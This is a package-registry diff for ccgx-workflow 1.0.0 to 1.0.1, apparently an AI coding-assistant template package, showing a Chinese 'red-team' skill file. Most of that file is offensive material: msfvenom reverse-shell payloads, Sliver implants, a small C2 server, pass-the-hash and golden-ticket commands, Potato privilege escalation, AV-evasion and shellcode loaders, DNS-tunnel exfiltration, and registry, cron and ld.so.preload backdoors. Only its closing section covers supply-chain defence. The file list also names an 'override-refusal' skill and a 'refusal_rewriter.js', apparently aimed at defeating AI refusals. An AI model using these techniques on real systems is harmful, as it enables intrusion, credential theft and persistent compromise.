ccgx-workflow 1.0.0 → 1.0.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (60) hide show
  1. package/README.md +37 -5
  2. package/README.zh-CN.md +35 -5
  3. package/dist/cli.mjs +1 -1
  4. package/dist/index.mjs +2 -2
  5. package/dist/shared/{ccgx-workflow.WgUzkiC3.mjs → ccgx-workflow.SJPbUy5_.mjs} +17 -110
  6. package/package.json +2 -1
  7. package/templates/commands/agents/phase-runner.md +321 -321
  8. package/templates/commands/autonomous.md +792 -792
  9. package/templates/commands/cancel.md +132 -132
  10. package/templates/commands/debug.md +226 -226
  11. package/templates/commands/status.md +206 -206
  12. package/templates/commands/team.md +484 -0
  13. package/templates/hooks/ccg-session-state.cjs +510 -510
  14. package/templates/scripts/ccg-phase-runner-launcher.mjs +467 -467
  15. package/templates/scripts/invoke-model.mjs +64 -0
  16. package/templates/skills/domains/ai/SKILL.md +35 -35
  17. package/templates/skills/domains/ai/agent-dev.md +242 -242
  18. package/templates/skills/domains/ai/llm-security.md +288 -288
  19. package/templates/skills/domains/ai/rag-system.md +542 -542
  20. package/templates/skills/domains/architecture/SKILL.md +43 -43
  21. package/templates/skills/domains/architecture/api-design.md +225 -225
  22. package/templates/skills/domains/architecture/cloud-native.md +285 -285
  23. package/templates/skills/domains/architecture/security-arch.md +297 -297
  24. package/templates/skills/domains/data-engineering/SKILL.md +208 -208
  25. package/templates/skills/domains/development/SKILL.md +47 -47
  26. package/templates/skills/domains/development/cpp.md +246 -246
  27. package/templates/skills/domains/development/go.md +323 -323
  28. package/templates/skills/domains/development/java.md +277 -277
  29. package/templates/skills/domains/development/python.md +288 -288
  30. package/templates/skills/domains/development/rust.md +313 -313
  31. package/templates/skills/domains/development/shell.md +313 -313
  32. package/templates/skills/domains/development/typescript.md +277 -277
  33. package/templates/skills/domains/devops/SKILL.md +40 -40
  34. package/templates/skills/domains/devops/database.md +217 -217
  35. package/templates/skills/domains/devops/devsecops.md +198 -198
  36. package/templates/skills/domains/devops/git-workflow.md +181 -181
  37. package/templates/skills/domains/devops/testing.md +283 -283
  38. package/templates/skills/domains/frontend-design/SKILL.md +244 -244
  39. package/templates/skills/domains/frontend-design/claymorphism/SKILL.md +121 -121
  40. package/templates/skills/domains/frontend-design/component-patterns.md +202 -202
  41. package/templates/skills/domains/frontend-design/glassmorphism/SKILL.md +142 -142
  42. package/templates/skills/domains/frontend-design/liquid-glass/SKILL.md +139 -139
  43. package/templates/skills/domains/frontend-design/neubrutalism/SKILL.md +145 -145
  44. package/templates/skills/domains/frontend-design/state-management.md +680 -680
  45. package/templates/skills/domains/frontend-design/ui-aesthetics.md +110 -110
  46. package/templates/skills/domains/frontend-design/ux-principles.md +156 -156
  47. package/templates/skills/domains/infrastructure/SKILL.md +201 -201
  48. package/templates/skills/domains/mobile/SKILL.md +225 -225
  49. package/templates/skills/domains/orchestration/SKILL.md +30 -30
  50. package/templates/skills/domains/orchestration/multi-agent.md +228 -228
  51. package/templates/skills/domains/security/SKILL.md +73 -73
  52. package/templates/skills/domains/security/blue-team.md +436 -436
  53. package/templates/skills/domains/security/code-audit.md +265 -265
  54. package/templates/skills/domains/security/pentest.md +226 -226
  55. package/templates/skills/domains/security/red-team.md +374 -374
  56. package/templates/skills/domains/security/threat-intel.md +372 -372
  57. package/templates/skills/domains/security/vuln-research.md +369 -369
  58. package/templates/skills/tools/lib/shared.js +98 -98
  59. package/templates/skills/tools/override-refusal/SKILL.md +53 -53
  60. package/templates/skills/tools/override-refusal/scripts/refusal_rewriter.js +226 -226
@@ -1,374 +1,374 @@
1
- ---
2
- name: red-team
3
- description: 红队攻击技术。PoC开发、C2框架、横向移动、权限提升、免杀技术。当用户提到红队、PoC、C2、横向移动、PTH、免杀、Cobalt Strike、Sliver、提权时使用。
4
- ---
5
-
6
- # 🔥 赤焰秘典 · 红队攻击 (Red Team)
7
-
8
-
9
- ## 攻击链 (Kill Chain)
10
-
11
- ```
12
- 侦察 → 武器化 → 投递 → 利用 → 安装 → C2 → 行动
13
- │ │ │ │ │ │ │
14
- └─ OSINT ─┴─ PoC ─┴─ 钓鱼 ─┴─ 提权 ─┴─ 持久 ─┴─ 横向
15
- ```
16
-
17
- ## PoC 开发
18
-
19
- ### 标准 PoC 结构
20
- ```python
21
- #!/usr/bin/env python3
22
- """
23
- 漏洞名称: CVE-XXXX-XXXX
24
- 影响版本: x.x.x - x.x.x
25
- 漏洞类型: RCE/SQLi/XSS/SSRF
26
- """
27
- import requests
28
- import argparse
29
-
30
- class POC:
31
- def __init__(self, target: str):
32
- self.target = target.rstrip('/')
33
- self.session = requests.Session()
34
- self.session.headers = {
35
- 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)'
36
- }
37
-
38
- def check(self) -> bool:
39
- """无害检测"""
40
- try:
41
- # 使用延时、DNS外带等无害方式验证
42
- pass
43
- except Exception as e:
44
- return False
45
-
46
- def exploit(self, cmd: str) -> str:
47
- """漏洞利用"""
48
- pass
49
-
50
- def main():
51
- parser = argparse.ArgumentParser()
52
- parser.add_argument('-u', '--url', required=True)
53
- parser.add_argument('-c', '--cmd', default='id')
54
- args = parser.parse_args()
55
-
56
- poc = POC(args.url)
57
- if poc.check():
58
- print(f"[+] Vulnerable!")
59
- print(poc.exploit(args.cmd))
60
- else:
61
- print("[-] Not vulnerable")
62
-
63
- if __name__ == '__main__':
64
- main()
65
- ```
66
-
67
- ## C2 框架
68
-
69
- ### Sliver (推荐开源)
70
- ```bash
71
- # 安装
72
- curl https://sliver.sh/install | sudo bash
73
-
74
- # 生成 Implant
75
- sliver > generate --mtls 192.168.1.100 --os windows --save implant.exe
76
- sliver > generate --http 192.168.1.100 --os linux --save implant
77
-
78
- # 启动监听
79
- sliver > mtls --lhost 0.0.0.0 --lport 8888
80
- sliver > http --lhost 0.0.0.0 --lport 80
81
-
82
- # 会话操作
83
- sliver > sessions
84
- sliver > use SESSION_ID
85
- sliver (SESSION) > shell
86
- sliver (SESSION) > download /etc/passwd
87
- sliver (SESSION) > upload local remote
88
- ```
89
-
90
- ### Metasploit
91
- ```bash
92
- # 生成 Payload
93
- msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=IP LPORT=4444 -f exe > shell.exe
94
-
95
- # 监听
96
- msf6 > use exploit/multi/handler
97
- msf6 > set payload windows/x64/meterpreter/reverse_tcp
98
- msf6 > set LHOST 0.0.0.0
99
- msf6 > run
100
-
101
- # Meterpreter
102
- meterpreter > getsystem
103
- meterpreter > hashdump
104
- meterpreter > load kiwi
105
- meterpreter > creds_all
106
- ```
107
-
108
- ### 简易 HTTP C2
109
- ```python
110
- # Server
111
- from flask import Flask, request, jsonify
112
- import base64
113
-
114
- app = Flask(__name__)
115
- agents, tasks = {}, {}
116
-
117
- @app.route('/beacon/<agent_id>')
118
- def beacon(agent_id):
119
- if tasks.get(agent_id):
120
- return jsonify({"task": tasks[agent_id].pop(0)})
121
- return jsonify({"task": None})
122
-
123
- @app.route('/result/<agent_id>', methods=['POST'])
124
- def result(agent_id):
125
- output = base64.b64decode(request.json['output']).decode()
126
- print(f"[{agent_id}] {output}")
127
- return jsonify({"status": "ok"})
128
- ```
129
-
130
- ## 横向移动
131
-
132
- ### Pass-the-Hash (PTH)
133
- ```bash
134
- # Impacket
135
- psexec.py -hashes :NTLM_HASH administrator@TARGET
136
- wmiexec.py -hashes :NTLM_HASH administrator@TARGET
137
- smbexec.py -hashes :NTLM_HASH administrator@TARGET
138
-
139
- # CrackMapExec
140
- crackmapexec smb TARGET -u admin -H HASH -x "whoami"
141
- crackmapexec smb 192.168.1.0/24 -u admin -H HASH --shares
142
-
143
- # Mimikatz
144
- sekurlsa::pth /user:admin /domain:DOMAIN /ntlm:HASH /run:cmd.exe
145
- ```
146
-
147
- ### Pass-the-Ticket (PTT)
148
- ```bash
149
- # 导出票据
150
- mimikatz # sekurlsa::tickets /export
151
-
152
- # 注入票据
153
- mimikatz # kerberos::ptt ticket.kirbi
154
-
155
- # Rubeus
156
- Rubeus.exe ptt /ticket:ticket.kirbi
157
- ```
158
-
159
- ### Kerberos 攻击
160
- ```bash
161
- # Kerberoasting
162
- GetUserSPNs.py DOMAIN/user:pass -dc-ip DC_IP -request
163
-
164
- # AS-REP Roasting
165
- GetNPUsers.py DOMAIN/ -usersfile users.txt -dc-ip DC_IP
166
-
167
- # Golden Ticket
168
- mimikatz # kerberos::golden /user:admin /domain:DOMAIN /sid:S-1-5-21-xxx /krbtgt:HASH /ptt
169
- ```
170
-
171
- ### 远程执行方法
172
- ```bash
173
- # WinRM
174
- evil-winrm -i TARGET -u user -H HASH
175
-
176
- # PowerShell Remoting
177
- Enter-PSSession -ComputerName TARGET -Credential DOMAIN\user
178
- Invoke-Command -ComputerName TARGET -ScriptBlock {whoami}
179
-
180
- # WMI
181
- wmic /node:TARGET /user:admin /password:pass process call create "cmd.exe /c whoami"
182
- ```
183
-
184
- ## 权限提升
185
-
186
- ### Windows 提权
187
- ```powershell
188
- # 信息收集
189
- whoami /priv
190
- systeminfo
191
- net user
192
- net localgroup administrators
193
-
194
- # 常见提权路径
195
- - SeImpersonatePrivilege → Potato系列
196
- - 服务配置错误 → 服务路径劫持
197
- - 计划任务 → 任务劫持
198
- - AlwaysInstallElevated → MSI提权
199
- - 未打补丁 → 内核漏洞
200
-
201
- # Potato 提权
202
- JuicyPotato.exe -l 1337 -p c:\windows\system32\cmd.exe -t *
203
- PrintSpoofer.exe -i -c cmd
204
- GodPotato.exe -cmd "cmd /c whoami"
205
- ```
206
-
207
- ### Linux 提权
208
- ```bash
209
- # 信息收集
210
- id
211
- uname -a
212
- cat /etc/passwd
213
- sudo -l
214
- find / -perm -4000 2>/dev/null
215
-
216
- # 常见提权路径
217
- - SUID 二进制 → GTFOBins
218
- - sudo 配置错误 → sudo提权
219
- - 内核漏洞 → DirtyPipe/DirtyCow
220
- - 定时任务 → cron劫持
221
- - 容器逃逸 → Docker/K8s
222
-
223
- # SUID 利用
224
- find / -perm -4000 2>/dev/null
225
- # 查 GTFOBins: https://gtfobins.github.io/
226
- ```
227
-
228
- ## 免杀技术
229
-
230
- ### 基础免杀
231
- ```python
232
- # 1. 字符串混淆
233
- import base64
234
- payload = base64.b64encode(b"malicious_code").decode()
235
- exec(base64.b64decode(payload))
236
-
237
- # 2. 动态加载
238
- import importlib
239
- module = importlib.import_module("os")
240
- getattr(module, "system")("whoami")
241
-
242
- # 3. 加密 Payload
243
- from Crypto.Cipher import AES
244
- # 运行时解密执行
245
- ```
246
-
247
- ### Shellcode 加载
248
- ```python
249
- import ctypes
250
-
251
- shellcode = b"\xfc\x48\x83..." # msfvenom 生成
252
-
253
- # Windows
254
- ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_void_p
255
- ptr = ctypes.windll.kernel32.VirtualAlloc(0, len(shellcode), 0x3000, 0x40)
256
- ctypes.windll.kernel32.RtlMoveMemory(ptr, shellcode, len(shellcode))
257
- ctypes.windll.kernel32.CreateThread(0, 0, ptr, 0, 0, 0)
258
- ```
259
-
260
- ### 隐蔽通信
261
- ```python
262
- # DNS 隧道
263
- def dns_exfil(data, domain):
264
- encoded = base64.b32encode(data.encode()).decode()
265
- for chunk in [encoded[i:i+63] for i in range(0, len(encoded), 63)]:
266
- dns.resolver.resolve(f"{chunk}.{domain}", 'A')
267
-
268
- # 域前置
269
- def domain_fronting(real_host, cdn_domain, data):
270
- headers = {"Host": real_host}
271
- requests.post(f"https://{cdn_domain}/api", json=data, headers=headers)
272
- ```
273
-
274
- ## 持久化
275
-
276
- ### Windows
277
- ```powershell
278
- # 注册表
279
- reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "Update" /t REG_SZ /d "C:\backdoor.exe"
280
-
281
- # 计划任务
282
- schtasks /create /tn "Update" /tr "C:\backdoor.exe" /sc onlogon
283
-
284
- # 服务
285
- sc create backdoor binPath= "C:\backdoor.exe" start= auto
286
-
287
- # WMI 事件订阅
288
- # 进程启动时触发
289
- ```
290
-
291
- ### Linux
292
- ```bash
293
- # Crontab
294
- echo "* * * * * /tmp/backdoor" >> /var/spool/cron/root
295
-
296
- # SSH 密钥
297
- echo "ssh-rsa AAAA..." >> ~/.ssh/authorized_keys
298
-
299
- # 服务
300
- # 创建 systemd service
301
-
302
- # LD_PRELOAD
303
- echo "/tmp/evil.so" >> /etc/ld.so.preload
304
- ```
305
-
306
- ## 工具清单
307
-
308
- | 工具 | 用途 |
309
- |------|------|
310
- | Sliver | 开源 C2 框架 |
311
- | Metasploit | 渗透测试框架 |
312
- | Cobalt Strike | 商业 C2 |
313
- | Impacket | Windows 协议工具 |
314
- | CrackMapExec | 批量横向 |
315
- | Mimikatz | 凭证提取 |
316
- | Rubeus | Kerberos 工具 |
317
- | BloodHound | AD 路径分析 |
318
-
319
- ## 供应链安全
320
-
321
- ### 供应链攻击向量
322
- ```
323
- 源代码 → 构建 → 制品 → 分发 → 部署 → 运行
324
- │ │ │ │ │ │
325
- 投毒 篡改 后门 劫持 提权 横向
326
- ```
327
-
328
- | 阶段 | 攻击方式 | 示例 |
329
- |------|----------|------|
330
- | 源代码 | 依赖投毒 | event-stream、ua-parser-js |
331
- | 构建 | CI/CD 劫持 | SolarWinds、CodeCov |
332
- | 制品 | 恶意包 | PyPI/npm 钓鱼包 |
333
- | 部署 | 配置篡改 | K8s YAML 注入 |
334
- | 运行 | 容器逃逸 | 特权容器、内核漏洞 |
335
-
336
- ### SBOM + 依赖扫描
337
- ```bash
338
- # SBOM 生成 (Syft)
339
- syft nginx:latest -o cyclonedx-json > sbom.json
340
-
341
- # 漏洞扫描 (Trivy)
342
- trivy image --severity HIGH,CRITICAL nginx:latest
343
- trivy fs --scanners vuln,secret,misconfig .
344
-
345
- # 依赖扫描 (Grype)
346
- grype sbom:./sbom.json
347
- ```
348
-
349
- ### 签名验证 (Sigstore/Cosign)
350
- ```bash
351
- cosign sign --key cosign.key myregistry/myapp:v1.0
352
- cosign verify --key cosign.pub myregistry/myapp:v1.0
353
- cosign attach sbom --sbom sbom.json myregistry/myapp:v1.0
354
- cosign verify-attestation --key cosign.pub myregistry/myapp:v1.0
355
- ```
356
-
357
- ### SLSA 等级
358
- ```
359
- Level 1: 文档化构建 Level 2: 防篡改+签名来源
360
- Level 3: 安全平台+隔离构建 Level 4: 双方审查+密封构建
361
- ```
362
-
363
- ### 供应链安全检查清单
364
- ```yaml
365
- 源代码:
366
- - [ ] 分支保护 + 代码审查 + 依赖锁定 + 密钥泄露扫描
367
- 构建与制品:
368
- - [ ] 托管CI/CD + 隔离构建 + 生成SBOM + 签名制品 + 漏洞扫描
369
- 部署与运行:
370
- - [ ] 验证签名(Cosign/SLSA) + 准入控制(Kyverno/OPA) + 运行时监控
371
- ```
372
-
373
- ---
374
-
1
+ ---
2
+ name: red-team
3
+ description: 红队攻击技术。PoC开发、C2框架、横向移动、权限提升、免杀技术。当用户提到红队、PoC、C2、横向移动、PTH、免杀、Cobalt Strike、Sliver、提权时使用。
4
+ ---
5
+
6
+ # 🔥 赤焰秘典 · 红队攻击 (Red Team)
7
+
8
+
9
+ ## 攻击链 (Kill Chain)
10
+
11
+ ```
12
+ 侦察 → 武器化 → 投递 → 利用 → 安装 → C2 → 行动
13
+ │ │ │ │ │ │ │
14
+ └─ OSINT ─┴─ PoC ─┴─ 钓鱼 ─┴─ 提权 ─┴─ 持久 ─┴─ 横向
15
+ ```
16
+
17
+ ## PoC 开发
18
+
19
+ ### 标准 PoC 结构
20
+ ```python
21
+ #!/usr/bin/env python3
22
+ """
23
+ 漏洞名称: CVE-XXXX-XXXX
24
+ 影响版本: x.x.x - x.x.x
25
+ 漏洞类型: RCE/SQLi/XSS/SSRF
26
+ """
27
+ import requests
28
+ import argparse
29
+
30
+ class POC:
31
+ def __init__(self, target: str):
32
+ self.target = target.rstrip('/')
33
+ self.session = requests.Session()
34
+ self.session.headers = {
35
+ 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)'
36
+ }
37
+
38
+ def check(self) -> bool:
39
+ """无害检测"""
40
+ try:
41
+ # 使用延时、DNS外带等无害方式验证
42
+ pass
43
+ except Exception as e:
44
+ return False
45
+
46
+ def exploit(self, cmd: str) -> str:
47
+ """漏洞利用"""
48
+ pass
49
+
50
+ def main():
51
+ parser = argparse.ArgumentParser()
52
+ parser.add_argument('-u', '--url', required=True)
53
+ parser.add_argument('-c', '--cmd', default='id')
54
+ args = parser.parse_args()
55
+
56
+ poc = POC(args.url)
57
+ if poc.check():
58
+ print(f"[+] Vulnerable!")
59
+ print(poc.exploit(args.cmd))
60
+ else:
61
+ print("[-] Not vulnerable")
62
+
63
+ if __name__ == '__main__':
64
+ main()
65
+ ```
66
+
67
+ ## C2 框架
68
+
69
+ ### Sliver (推荐开源)
70
+ ```bash
71
+ # 安装
72
+ curl https://sliver.sh/install | sudo bash
73
+
74
+ # 生成 Implant
75
+ sliver > generate --mtls 192.168.1.100 --os windows --save implant.exe
76
+ sliver > generate --http 192.168.1.100 --os linux --save implant
77
+
78
+ # 启动监听
79
+ sliver > mtls --lhost 0.0.0.0 --lport 8888
80
+ sliver > http --lhost 0.0.0.0 --lport 80
81
+
82
+ # 会话操作
83
+ sliver > sessions
84
+ sliver > use SESSION_ID
85
+ sliver (SESSION) > shell
86
+ sliver (SESSION) > download /etc/passwd
87
+ sliver (SESSION) > upload local remote
88
+ ```
89
+
90
+ ### Metasploit
91
+ ```bash
92
+ # 生成 Payload
93
+ msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=IP LPORT=4444 -f exe > shell.exe
94
+
95
+ # 监听
96
+ msf6 > use exploit/multi/handler
97
+ msf6 > set payload windows/x64/meterpreter/reverse_tcp
98
+ msf6 > set LHOST 0.0.0.0
99
+ msf6 > run
100
+
101
+ # Meterpreter
102
+ meterpreter > getsystem
103
+ meterpreter > hashdump
104
+ meterpreter > load kiwi
105
+ meterpreter > creds_all
106
+ ```
107
+
108
+ ### 简易 HTTP C2
109
+ ```python
110
+ # Server
111
+ from flask import Flask, request, jsonify
112
+ import base64
113
+
114
+ app = Flask(__name__)
115
+ agents, tasks = {}, {}
116
+
117
+ @app.route('/beacon/<agent_id>')
118
+ def beacon(agent_id):
119
+ if tasks.get(agent_id):
120
+ return jsonify({"task": tasks[agent_id].pop(0)})
121
+ return jsonify({"task": None})
122
+
123
+ @app.route('/result/<agent_id>', methods=['POST'])
124
+ def result(agent_id):
125
+ output = base64.b64decode(request.json['output']).decode()
126
+ print(f"[{agent_id}] {output}")
127
+ return jsonify({"status": "ok"})
128
+ ```
129
+
130
+ ## 横向移动
131
+
132
+ ### Pass-the-Hash (PTH)
133
+ ```bash
134
+ # Impacket
135
+ psexec.py -hashes :NTLM_HASH administrator@TARGET
136
+ wmiexec.py -hashes :NTLM_HASH administrator@TARGET
137
+ smbexec.py -hashes :NTLM_HASH administrator@TARGET
138
+
139
+ # CrackMapExec
140
+ crackmapexec smb TARGET -u admin -H HASH -x "whoami"
141
+ crackmapexec smb 192.168.1.0/24 -u admin -H HASH --shares
142
+
143
+ # Mimikatz
144
+ sekurlsa::pth /user:admin /domain:DOMAIN /ntlm:HASH /run:cmd.exe
145
+ ```
146
+
147
+ ### Pass-the-Ticket (PTT)
148
+ ```bash
149
+ # 导出票据
150
+ mimikatz # sekurlsa::tickets /export
151
+
152
+ # 注入票据
153
+ mimikatz # kerberos::ptt ticket.kirbi
154
+
155
+ # Rubeus
156
+ Rubeus.exe ptt /ticket:ticket.kirbi
157
+ ```
158
+
159
+ ### Kerberos 攻击
160
+ ```bash
161
+ # Kerberoasting
162
+ GetUserSPNs.py DOMAIN/user:pass -dc-ip DC_IP -request
163
+
164
+ # AS-REP Roasting
165
+ GetNPUsers.py DOMAIN/ -usersfile users.txt -dc-ip DC_IP
166
+
167
+ # Golden Ticket
168
+ mimikatz # kerberos::golden /user:admin /domain:DOMAIN /sid:S-1-5-21-xxx /krbtgt:HASH /ptt
169
+ ```
170
+
171
+ ### 远程执行方法
172
+ ```bash
173
+ # WinRM
174
+ evil-winrm -i TARGET -u user -H HASH
175
+
176
+ # PowerShell Remoting
177
+ Enter-PSSession -ComputerName TARGET -Credential DOMAIN\user
178
+ Invoke-Command -ComputerName TARGET -ScriptBlock {whoami}
179
+
180
+ # WMI
181
+ wmic /node:TARGET /user:admin /password:pass process call create "cmd.exe /c whoami"
182
+ ```
183
+
184
+ ## 权限提升
185
+
186
+ ### Windows 提权
187
+ ```powershell
188
+ # 信息收集
189
+ whoami /priv
190
+ systeminfo
191
+ net user
192
+ net localgroup administrators
193
+
194
+ # 常见提权路径
195
+ - SeImpersonatePrivilege → Potato系列
196
+ - 服务配置错误 → 服务路径劫持
197
+ - 计划任务 → 任务劫持
198
+ - AlwaysInstallElevated → MSI提权
199
+ - 未打补丁 → 内核漏洞
200
+
201
+ # Potato 提权
202
+ JuicyPotato.exe -l 1337 -p c:\windows\system32\cmd.exe -t *
203
+ PrintSpoofer.exe -i -c cmd
204
+ GodPotato.exe -cmd "cmd /c whoami"
205
+ ```
206
+
207
+ ### Linux 提权
208
+ ```bash
209
+ # 信息收集
210
+ id
211
+ uname -a
212
+ cat /etc/passwd
213
+ sudo -l
214
+ find / -perm -4000 2>/dev/null
215
+
216
+ # 常见提权路径
217
+ - SUID 二进制 → GTFOBins
218
+ - sudo 配置错误 → sudo提权
219
+ - 内核漏洞 → DirtyPipe/DirtyCow
220
+ - 定时任务 → cron劫持
221
+ - 容器逃逸 → Docker/K8s
222
+
223
+ # SUID 利用
224
+ find / -perm -4000 2>/dev/null
225
+ # 查 GTFOBins: https://gtfobins.github.io/
226
+ ```
227
+
228
+ ## 免杀技术
229
+
230
+ ### 基础免杀
231
+ ```python
232
+ # 1. 字符串混淆
233
+ import base64
234
+ payload = base64.b64encode(b"malicious_code").decode()
235
+ exec(base64.b64decode(payload))
236
+
237
+ # 2. 动态加载
238
+ import importlib
239
+ module = importlib.import_module("os")
240
+ getattr(module, "system")("whoami")
241
+
242
+ # 3. 加密 Payload
243
+ from Crypto.Cipher import AES
244
+ # 运行时解密执行
245
+ ```
246
+
247
+ ### Shellcode 加载
248
+ ```python
249
+ import ctypes
250
+
251
+ shellcode = b"\xfc\x48\x83..." # msfvenom 生成
252
+
253
+ # Windows
254
+ ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_void_p
255
+ ptr = ctypes.windll.kernel32.VirtualAlloc(0, len(shellcode), 0x3000, 0x40)
256
+ ctypes.windll.kernel32.RtlMoveMemory(ptr, shellcode, len(shellcode))
257
+ ctypes.windll.kernel32.CreateThread(0, 0, ptr, 0, 0, 0)
258
+ ```
259
+
260
+ ### 隐蔽通信
261
+ ```python
262
+ # DNS 隧道
263
+ def dns_exfil(data, domain):
264
+ encoded = base64.b32encode(data.encode()).decode()
265
+ for chunk in [encoded[i:i+63] for i in range(0, len(encoded), 63)]:
266
+ dns.resolver.resolve(f"{chunk}.{domain}", 'A')
267
+
268
+ # 域前置
269
+ def domain_fronting(real_host, cdn_domain, data):
270
+ headers = {"Host": real_host}
271
+ requests.post(f"https://{cdn_domain}/api", json=data, headers=headers)
272
+ ```
273
+
274
+ ## 持久化
275
+
276
+ ### Windows
277
+ ```powershell
278
+ # 注册表
279
+ reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "Update" /t REG_SZ /d "C:\backdoor.exe"
280
+
281
+ # 计划任务
282
+ schtasks /create /tn "Update" /tr "C:\backdoor.exe" /sc onlogon
283
+
284
+ # 服务
285
+ sc create backdoor binPath= "C:\backdoor.exe" start= auto
286
+
287
+ # WMI 事件订阅
288
+ # 进程启动时触发
289
+ ```
290
+
291
+ ### Linux
292
+ ```bash
293
+ # Crontab
294
+ echo "* * * * * /tmp/backdoor" >> /var/spool/cron/root
295
+
296
+ # SSH 密钥
297
+ echo "ssh-rsa AAAA..." >> ~/.ssh/authorized_keys
298
+
299
+ # 服务
300
+ # 创建 systemd service
301
+
302
+ # LD_PRELOAD
303
+ echo "/tmp/evil.so" >> /etc/ld.so.preload
304
+ ```
305
+
306
+ ## 工具清单
307
+
308
+ | 工具 | 用途 |
309
+ |------|------|
310
+ | Sliver | 开源 C2 框架 |
311
+ | Metasploit | 渗透测试框架 |
312
+ | Cobalt Strike | 商业 C2 |
313
+ | Impacket | Windows 协议工具 |
314
+ | CrackMapExec | 批量横向 |
315
+ | Mimikatz | 凭证提取 |
316
+ | Rubeus | Kerberos 工具 |
317
+ | BloodHound | AD 路径分析 |
318
+
319
+ ## 供应链安全
320
+
321
+ ### 供应链攻击向量
322
+ ```
323
+ 源代码 → 构建 → 制品 → 分发 → 部署 → 运行
324
+ │ │ │ │ │ │
325
+ 投毒 篡改 后门 劫持 提权 横向
326
+ ```
327
+
328
+ | 阶段 | 攻击方式 | 示例 |
329
+ |------|----------|------|
330
+ | 源代码 | 依赖投毒 | event-stream、ua-parser-js |
331
+ | 构建 | CI/CD 劫持 | SolarWinds、CodeCov |
332
+ | 制品 | 恶意包 | PyPI/npm 钓鱼包 |
333
+ | 部署 | 配置篡改 | K8s YAML 注入 |
334
+ | 运行 | 容器逃逸 | 特权容器、内核漏洞 |
335
+
336
+ ### SBOM + 依赖扫描
337
+ ```bash
338
+ # SBOM 生成 (Syft)
339
+ syft nginx:latest -o cyclonedx-json > sbom.json
340
+
341
+ # 漏洞扫描 (Trivy)
342
+ trivy image --severity HIGH,CRITICAL nginx:latest
343
+ trivy fs --scanners vuln,secret,misconfig .
344
+
345
+ # 依赖扫描 (Grype)
346
+ grype sbom:./sbom.json
347
+ ```
348
+
349
+ ### 签名验证 (Sigstore/Cosign)
350
+ ```bash
351
+ cosign sign --key cosign.key myregistry/myapp:v1.0
352
+ cosign verify --key cosign.pub myregistry/myapp:v1.0
353
+ cosign attach sbom --sbom sbom.json myregistry/myapp:v1.0
354
+ cosign verify-attestation --key cosign.pub myregistry/myapp:v1.0
355
+ ```
356
+
357
+ ### SLSA 等级
358
+ ```
359
+ Level 1: 文档化构建 Level 2: 防篡改+签名来源
360
+ Level 3: 安全平台+隔离构建 Level 4: 双方审查+密封构建
361
+ ```
362
+
363
+ ### 供应链安全检查清单
364
+ ```yaml
365
+ 源代码:
366
+ - [ ] 分支保护 + 代码审查 + 依赖锁定 + 密钥泄露扫描
367
+ 构建与制品:
368
+ - [ ] 托管CI/CD + 隔离构建 + 生成SBOM + 签名制品 + 漏洞扫描
369
+ 部署与运行:
370
+ - [ ] 验证签名(Cosign/SLSA) + 准入控制(Kyverno/OPA) + 运行时监控
371
+ ```
372
+
373
+ ---
374
+